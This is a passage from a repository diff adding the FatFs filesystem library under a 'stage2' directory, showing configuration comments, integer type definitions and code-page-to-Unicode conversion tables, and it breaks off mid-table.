/ ff_req_grant(), ff_rel_grant(), ff_del_syncobj() and ff_cre_syncobj()
/ function, must be added to the project. Samples are available in
/ option/syscall.c.
/
/ The _FS_TIMEOUT defines timeout period in unit of time tick.
/ The _SYNC_t defines O/S dependent sync object type. e.g. HANDLE, ID, OS_EVENT*,
/ SemaphoreHandle_t and etc.. A header file for O/S definitions needs to be
/ included somewhere in the scope of ff.c. */
#define _WORD_ACCESS 0
/* The _WORD_ACCESS option is an only platform dependent option. It defines
/ which access method is used to the word data on the FAT volume.
/
/ 0: Byte-by-byte access. Always compatible with all platforms.
/ 1: Word access. Do not choose this unless under both the following conditions.
/
/ * Address misaligned memory access is always allowed to ALL instructions.
/ * Byte order on the memory is little-endian.
/
/ If it is the case, _WORD_ACCESS can also be set to 1 to reduce code size.
/ Following table shows allowable settings of some type of processors.
/
/ ARM7TDMI 0 *2 ColdFire 0 *1 V850E 0 *2
/ Cortex-M3 0 *3 Z80 0/1 V850ES 0/1
/ Cortex-M0 0 *2 x86 0/1 TLCS-870 0/1
/ AVR 0/1 RX600(LE) 0/1 TLCS-900 0/1
/ AVR32 0 *1 RL78 0 *2 R32C 0 *2
/ PIC18 0/1 SH-2 0 *1 M16C 0/1
/ PIC24 0 *2 H8S 0 *1 MSP430 0 *2
/ PIC32 0 *1 H8/300H 0 *1 8051 0/1
/
/ *1:Big-endian.
/ *2:Unaligned memory access is not supported.
/ *3:Some compilers generate LDM/STM for mem_cpy function.
*/

33
stage2/fatfs/integer.h Normal file
View File

@ -0,0 +1,33 @@
/*-------------------------------------------*/
/* Integer type definitions for FatFs module */
/*-------------------------------------------*/
#ifndef _FF_INTEGER
#define _FF_INTEGER
#ifdef _WIN32 /* Development platform */
#include <windows.h>
#include <tchar.h>
#else /* Embedded platform */
/* This type MUST be 8-bit */
typedef unsigned char BYTE;
/* These types MUST be 16-bit */
typedef short SHORT;
typedef unsigned short WORD;
typedef unsigned short WCHAR;
/* These types MUST be 16-bit or 32-bit */
typedef int INT;
typedef unsigned int UINT;
/* These types MUST be 32-bit */
typedef long LONG;
typedef unsigned long DWORD;
#endif
#endif

3829
stage2/fatfs/option/cc932.c Normal file

File diff suppressed because it is too large Load Diff

11004
stage2/fatfs/option/cc936.c Normal file

File diff suppressed because it is too large Load Diff

8634
stage2/fatfs/option/cc949.c Normal file

File diff suppressed because it is too large Load Diff

6860
stage2/fatfs/option/cc950.c Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,348 @@
/*------------------------------------------------------------------------*/
/* Unicode - Local code bidirectional converter (C)ChaN, 2015 */
/* (SBCS code pages) */
/*------------------------------------------------------------------------*/
/* 437 U.S.
/ 720 Arabic
/ 737 Greek
/ 771 KBL
/ 775 Baltic
/ 850 Latin 1
/ 852 Latin 2
/ 855 Cyrillic
/ 857 Turkish
/ 860 Portuguese
/ 861 Icelandic
/ 862 Hebrew
/ 863 Canadian French
/ 864 Arabic
/ 865 Nordic
/ 866 Russian
/ 869 Greek 2
*/
#include "../ff.h"
#if _CODE_PAGE == 437
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP437(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5,
0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, 0x00FF, 0x00D6, 0x00DC, 0x00A2, 0x00A3, 0x00A5, 0x20A7, 0x0192,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229,
0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 720
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP720(0x80-0xFF) to Unicode conversion table */
0x0000, 0x0000, 0x00E9, 0x00E2, 0x0000, 0x00E0, 0x0000, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x0000, 0x0000, 0x0000,
0x0000, 0x0651, 0x0652, 0x00F4, 0x00A4, 0x0640, 0x00FB, 0x00F9, 0x0621, 0x0622, 0x0623, 0x0624, 0x00A3, 0x0625, 0x0626, 0x0627,
0x0628, 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, 0x0630, 0x0631, 0x0632, 0x0633, 0x0634, 0x0635, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x0636, 0x0637, 0x0638, 0x0639, 0x063A, 0x0641, 0x00B5, 0x0642, 0x0643, 0x0644, 0x0645, 0x0646, 0x0647, 0x0648, 0x0649, 0x064A,
0x2261, 0x064B, 0x064C, 0x064D, 0x064E, 0x064F, 0x0650, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 737
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP737(0x80-0xFF) to Unicode conversion table */
0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, 0x0398, 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, 0x03A0,
0x03A1, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8,
0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, 0x03C0, 0x03C1, 0x03C3, 0x03C2, 0x03C4, 0x03C5, 0x03C6, 0x03C7, 0x03C8,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03C9, 0x03AC, 0x03AD, 0x03AE, 0x03CA, 0x03AF, 0x03CC, 0x03CD, 0x03CB, 0x03CE, 0x0386, 0x0388, 0x0389, 0x038A, 0x038C, 0x038E,
0x038F, 0x00B1, 0x2265, 0x2264, 0x03AA, 0x03AB, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 771
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP771(0x80-0xFF) to Unicode conversion table */
0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F,
0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F,
0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x2558, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x0104, 0x0105, 0x010C, 0x010D,
0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F,
0x0118, 0x0119, 0x0116, 0x0117, 0x012E, 0x012F, 0x0160, 0x0161, 0x0172, 0x0173, 0x016A, 0x016B, 0x017D, 0x017E, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 775
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP775(0x80-0xFF) to Unicode conversion table */
0x0106, 0x00FC, 0x00E9, 0x0101, 0x00E4, 0x0123, 0x00E5, 0x0107, 0x0142, 0x0113, 0x0156, 0x0157, 0x012B, 0x0179, 0x00C4, 0x00C5,
0x00C9, 0x00E6, 0x00C6, 0x014D, 0x00F6, 0x0122, 0x00A2, 0x015A, 0x015B, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x00A4,
0x0100, 0x012A, 0x00F3, 0x017B, 0x017C, 0x017A, 0x201D, 0x00A6, 0x00A9, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x0141, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x0104, 0x010C, 0x0118, 0x0116, 0x2563, 0x2551, 0x2557, 0x255D, 0x012E, 0x0160, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0172, 0x016A, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x017D,
0x0105, 0x010D, 0x0119, 0x0117, 0x012F, 0x0161, 0x0173, 0x016B, 0x017E, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x00D3, 0x00DF, 0x014C, 0x0143, 0x00F5, 0x00D5, 0x00B5, 0x0144, 0x0136, 0x0137, 0x013B, 0x013C, 0x0146, 0x0112, 0x0145, 0x2019,
0x00AD, 0x00B1, 0x201C, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x201E, 0x00B0, 0x2219, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 850
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP850(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5,
0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, 0x00FF, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x00D7, 0x0192,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, 0x00A9, 0x2563, 0x2551, 0x2557, 0x255D, 0x00A2, 0x00A5, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4,
0x00F0, 0x00D0, 0x00CA, 0x00CB, 0x00C8, 0x0131, 0x00CD, 0x00CE, 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00A6, 0x00CC, 0x2580,
0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x00FE, 0x00DE, 0x00DA, 0x00DB, 0x00D9, 0x00FD, 0x00DD, 0x00AF, 0x00B4,
0x00AD, 0x00B1, 0x2017, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 852
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP852(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x016F, 0x0107, 0x00E7, 0x0142, 0x00EB, 0x0150, 0x0151, 0x00EE, 0x0179, 0x00C4, 0x0106,
0x00C9, 0x0139, 0x013A, 0x00F4, 0x00F6, 0x013D, 0x013E, 0x015A, 0x015B, 0x00D6, 0x00DC, 0x0164, 0x0165, 0x0141, 0x00D7, 0x010D,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x0104, 0x0105, 0x017D, 0x017E, 0x0118, 0x0119, 0x00AC, 0x017A, 0x010C, 0x015F, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x011A, 0x015E, 0x2563, 0x2551, 0x2557, 0x255D, 0x017B, 0x017C, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x0102, 0x0103, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4,
0x0111, 0x0110, 0x010E, 0x00CB, 0x010F, 0x0147, 0x00CD, 0x00CE, 0x011B, 0x2518, 0x250C, 0x2588, 0x2584, 0x0162, 0x016E, 0x2580,
0x00D3, 0x00DF, 0x00D4, 0x0143, 0x0144, 0x0148, 0x0160, 0x0161, 0x0154, 0x00DA, 0x0155, 0x0170, 0x00FD, 0x00DD, 0x0163, 0x00B4,
0x00AD, 0x02DD, 0x02DB, 0x02C7, 0x02D8, 0x00A7, 0x00F7, 0x00B8, 0x00B0, 0x00A8, 0x02D9, 0x0171, 0x0158, 0x0159, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 855
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP855(0x80-0xFF) to Unicode conversion table */
0x0452, 0x0402, 0x0453, 0x0403, 0x0451, 0x0401, 0x0454, 0x0404, 0x0455, 0x0405, 0x0456, 0x0406, 0x0457, 0x0407, 0x0458, 0x0408,
0x0459, 0x0409, 0x045A, 0x040A, 0x045B, 0x040B, 0x045C, 0x040C, 0x045E, 0x040E, 0x045F, 0x040F, 0x044E, 0x042E, 0x044A, 0x042A,
0x0430, 0x0410, 0x0431, 0x0411, 0x0446, 0x0426, 0x0434, 0x0414, 0x0435, 0x0415, 0x0444, 0x0424, 0x0433, 0x0413, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x0445, 0x0425, 0x0438, 0x0418, 0x2563, 0x2551, 0x2557, 0x255D, 0x0439, 0x0419, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x043A, 0x041A, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4,
0x043B, 0x041B, 0x043C, 0x041C, 0x043D, 0x041D, 0x043E, 0x041E, 0x043F, 0x2518, 0x250C, 0x2588, 0x2584, 0x041F, 0x044F, 0x2580,
0x042F, 0x0440, 0x0420, 0x0441, 0x0421, 0x0442, 0x0422, 0x0443, 0x0423, 0x0436, 0x0416, 0x0432, 0x0412, 0x044C, 0x042C, 0x2116,
0x00AD, 0x044B, 0x042B, 0x0437, 0x0417, 0x0448, 0x0428, 0x044D, 0x042D, 0x0449, 0x0429, 0x0447, 0x0427, 0x00A7, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 857
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP857(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x0131, 0x00C4, 0x00C5,
0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, 0x0130, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x015E, 0x015F,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x011E, 0x011F, 0x00BF, 0x00AE, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x00C1, 0x00C2, 0x00C0, 0x00A9, 0x2563, 0x2551, 0x2557, 0x255D, 0x00A2, 0x00A5, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x00E3, 0x00C3, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x00A4,
0x00BA, 0x00AA, 0x00CA, 0x00CB, 0x00C8, 0x0000, 0x00CD, 0x00CE, 0x00CF, 0x2518, 0x250C, 0x2588, 0x2584, 0x00A6, 0x00CC, 0x2580,
0x00D3, 0x00DF, 0x00D4, 0x00D2, 0x00F5, 0x00D5, 0x00B5, 0x0000, 0x00D7, 0x00DA, 0x00DB, 0x00D9, 0x00EC, 0x00FF, 0x00AF, 0x00B4,
0x00AD, 0x00B1, 0x0000, 0x00BE, 0x00B6, 0x00A7, 0x00F7, 0x00B8, 0x00B0, 0x00A8, 0x00B7, 0x00B9, 0x00B3, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 860
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP860(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E3, 0x00E0, 0x00C1, 0x00E7, 0x00EA, 0x00CA, 0x00E8, 0x00CD, 0x00D4, 0x00EC, 0x00C3, 0x00C2,
0x00C9, 0x00C0, 0x00C8, 0x00F4, 0x00F5, 0x00F2, 0x00DA, 0x00F9, 0x00CC, 0x00D5, 0x00DC, 0x00A2, 0x00A3, 0x00D9, 0x20A7, 0x00D3,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, 0x00BF, 0x00D2, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x2558, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229,
0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 861
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP861(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E6, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00D0, 0x00F0, 0x00DE, 0x00C4, 0x00C5,
0x00C9, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00FE, 0x00FB, 0x00DD, 0x00FD, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x20A7, 0x0192,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00C1, 0x00CD, 0x00D3, 0x00DA, 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229,
0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 862
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP862(0x80-0xFF) to Unicode conversion table */
0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF,
0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, 0x05E8, 0x05E9, 0x05EA, 0x00A2, 0x00A3, 0x00A5, 0x20A7, 0x0192,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229,
0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 863
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP863(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00C2, 0x00E0, 0x00B6, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x2017, 0x00C0,
0x00C9, 0x00C8, 0x00CA, 0x00F4, 0x00CB, 0x00CF, 0x00FB, 0x00F9, 0x00A4, 0x00D4, 0x00DC, 0x00A2, 0x00A3, 0x00D9, 0x00DB, 0x0192,
0x00A6, 0x00B4, 0x00F3, 0x00FA, 0x00A8, 0x00BB, 0x00B3, 0x00AF, 0x00CE, 0x3210, 0x00AC, 0x00BD, 0x00BC, 0x00BE, 0x00AB, 0x00BB,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x255B, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2219,
0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
};
#elif _CODE_PAGE == 864
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP864(0x80-0xFF) to Unicode conversion table */
0x00B0, 0x00B7, 0x2219, 0x221A, 0x2592, 0x2500, 0x2502, 0x253C, 0x2524, 0x252C, 0x251C, 0x2534, 0x2510, 0x250C, 0x2514, 0x2518,
0x03B2, 0x221E, 0x03C6, 0x00B1, 0x00BD, 0x00BC, 0x2248, 0x00AB, 0x00BB, 0xFEF7, 0xFEF8, 0x0000, 0x0000, 0xFEFB, 0xFEFC, 0x0000,
0x00A0, 0x00AD, 0xFE82, 0x00A3, 0x00A4, 0xFE84, 0x0000, 0x20AC, 0xFE8E, 0xFE8F, 0xFE95, 0xFE99, 0x060C, 0xFE9D, 0xFEA1, 0xFEA5,
0x0660, 0x0661, 0x0662, 0x0663, 0x0664, 0x0665, 0x0666, 0x0667, 0x0668, 0x0669, 0xFED1, 0x061B, 0xFEB1, 0xFEB5, 0xFEB9, 0x061F,
0x00A2, 0xFE80, 0xFE81, 0xFE83, 0xFE85, 0xFECA, 0xFE8B, 0xFE8D, 0xFE91, 0xFE93, 0xFE97, 0xFE9B, 0xFE9F, 0xFEA3, 0xFEA7, 0xFEA9,
0xFEAB, 0xFEAD, 0xFEAF, 0xFEB3, 0xFEB7, 0xFEBB, 0xFEBF, 0xFEC1, 0xFEC5, 0xFECB, 0xFECF, 0x00A6, 0x00AC, 0x00F7, 0x00D7, 0xFEC9,
0x0640, 0xFED3, 0xFED7, 0xFEDB, 0xFEDF, 0xFEE3, 0xFEE7, 0xFEEB, 0xFEED, 0xFEEF, 0xFEF3, 0xFEBD, 0xFECC, 0xFECE, 0xFECD, 0xFEE1,
0xFE7D, 0x0651, 0xFEE5, 0xFEE9, 0xFEEC, 0xFEF0, 0xFEF2, 0xFED0, 0xFED5, 0xFEF5, 0xFEF6, 0xFEDD, 0xFED9, 0xFEF1, 0x25A0, 0x0000
};
#elif _CODE_PAGE == 865
#define _TBLDEF 1
static
const WCHAR Tbl[] = { /* CP865(0x80-0xFF) to Unicode conversion table */
0x00C7, 0x00FC, 0x00E9, 0x00E2, 0x00E4, 0x00E0, 0x00E5, 0x00E7, 0x00EA, 0x00EB, 0x00E8, 0x00EF, 0x00EE, 0x00EC, 0x00C4, 0x00C5,
0x00C5, 0x00E6, 0x00C6, 0x00F4, 0x00F6, 0x00F2, 0x00FB, 0x00F9, 0x00FF, 0x00D6, 0x00DC, 0x00F8, 0x00A3, 0x00D8, 0x20A7, 0x0192,
0x00E1, 0x00ED, 0x00F3, 0x00FA, 0x00F1, 0x00D1, 0x00AA, 0x00BA, 0x00BF, 0x2310, 0x00AC, 0x00BD, 0x00BC, 0x00A1, 0x00AB, 0x00A4,
0x2591, 0x2592, 0x2593, 0x2502, 0x2524, 0x2561, 0x2562, 0x2556, 0x2555, 0x2563, 0x2551, 0x2557, 0x255D, 0x255C, 0x2558, 0x2510,
0x2514, 0x2534, 0x252C, 0x251C, 0x2500, 0x253C, 0x255E, 0x255F, 0x255A, 0x2554, 0x2569, 0x2566, 0x2560, 0x2550, 0x256C, 0x2567,
0x2568, 0x2564, 0x2565, 0x2559, 0x2558, 0x2552, 0x2553, 0x256B, 0x256A, 0x2518, 0x250C, 0x2588, 0x2584, 0x258C, 0x2590, 0x2580,
0x03B1, 0x00DF, 0x0393, 0x03C0, 0x03A3, 0x03C3, 0x00B5, 0x03C4, 0x03A6, 0x0398, 0x03A9, 0x03B4, 0x221E, 0x03C6, 0x03B5, 0x2229,
0x2261, 0x00B1, 0x2265, 0x2264, 0x2320, 0x2321, 0x00F7, 0x2248, 0x00B0, 0x2219, 0x00B7, 0x221A, 0x207F, 0x00B2, 0x25A0, 0x00A0
